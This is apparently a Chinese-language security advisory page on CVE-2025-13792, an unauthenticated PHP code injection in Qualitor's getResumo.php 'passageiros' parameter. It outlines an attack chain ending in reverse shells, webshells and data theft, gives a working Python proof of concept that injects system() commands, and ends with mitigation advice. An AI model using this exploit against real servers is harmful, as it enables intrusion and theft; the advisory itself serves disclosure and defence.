IPBUF安全漏洞报告
English
CVE-2025-13792 CVSS 7.3 高危

CVE-2025-13792 Qualitor stdeslocamento getResumo.php 代码注入漏洞

披露日期: 2025-11-30

漏洞信息

漏洞编号
CVE-2025-13792
漏洞类型
远程代码执行
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Qualitor

相关标签

代码注入远程代码执行QualitorCVE-2025-13792高危漏洞PHP无需认证RCE

漏洞概述

CVE-2025-13792是Qualitor系统中的一个高危代码注入漏洞。Qualitor是一款广泛使用的IT服务管理(ITSM)和工单管理系统。该漏洞存在于/html/st/stdeslocamento/request/getResumo.php文件中的eval函数,攻击者可通过manipulate传入passageiros参数实现代码注入。由于漏洞利用无需认证且可远程执行,攻击者可在未登录情况下通过构造恶意payload直接获取服务器远程代码执行权限。该漏洞CVSS评分7.3,属于高危级别,已存在公开利用代码,厂商已在8.20.105和8.24.98版本中修复此问题。

技术细节

该漏洞为PHP代码注入漏洞,根源在于getResumo.php文件中对用户输入的passageiros参数未做充分过滤就直接传入eval函数执行。攻击者可通过构造包含PHP代码的payload注入任意PHP代码或系统命令。例如通过passageiros参数注入phpinfo()、system()、exec()等函数实现信息收集或命令执行。eval函数会将字符串作为PHP代码执行,因此攻击者无需额外技巧即可获得RCE。由于漏洞文件位于/html/st/stdeslocamento/request/路径下,攻击者可通过HTTP请求直接访问,无需任何认证凭据。漏洞影响Qualitor 8.20.104及之前版本和8.24.97及之前版本。

攻击链分析

STEP 1
步骤1: 信息收集
确定目标使用Qualitor系统,识别版本号是否在受影响范围内(<=8.20.104或<=8.24.97)
STEP 2
步骤2: 构造恶意请求
构造包含PHP代码注入payload的HTTP GET请求,将passageiros参数值设为类似1;@system('whoami');的payload
STEP 3
步骤3: 发送 exploit
向/html/st/stdeslocamento/request/getResumo.php发送构造的请求,触发eval函数执行注入的代码
STEP 4
步骤4: 获取反向shell或执行命令
通过注入的system()或exec()函数执行系统命令,可进一步反弹shell或横向移动
STEP 5
步骤5: 持久化控制
在服务器上部署后门、植入webshell或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13792 PoC - Qualitor Code Injection in getResumo.php # Target: Qualitor <= 8.20.104 / <= 8.24.97 def exploit(target_url, cmd="id"): """Exploit the code injection vulnerability via passageiro parameter""" endpoint = f"{target_url.rstrip('/')}/html/st/stdeslocamento/request/getResumo.php" # Payload: inject PHP code via passageiro parameter # Using system() to execute OS commands payload = f"1;@system('{cmd}');" params = { "passageiros": payload } try: response = requests.get(endpoint, params=params, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [command]") print(f"Example: python {sys.argv[0]} http://victim.com id") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "id" exploit(target, command)

影响范围

Qualitor <= 8.20.104
Qualitor <= 8.24.97

防御指南

临时缓解措施
如果无法立即升级,可在Web服务器层面限制对/html/st/stdeslocamento/request/getResumo.php的访问,或通过WAF规则拦截包含可疑字符(如分号、括号、system、exec等)的passageiros参数值。建议在防火墙或IPS中添加针对该路径的访问日志监控,及时发现异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表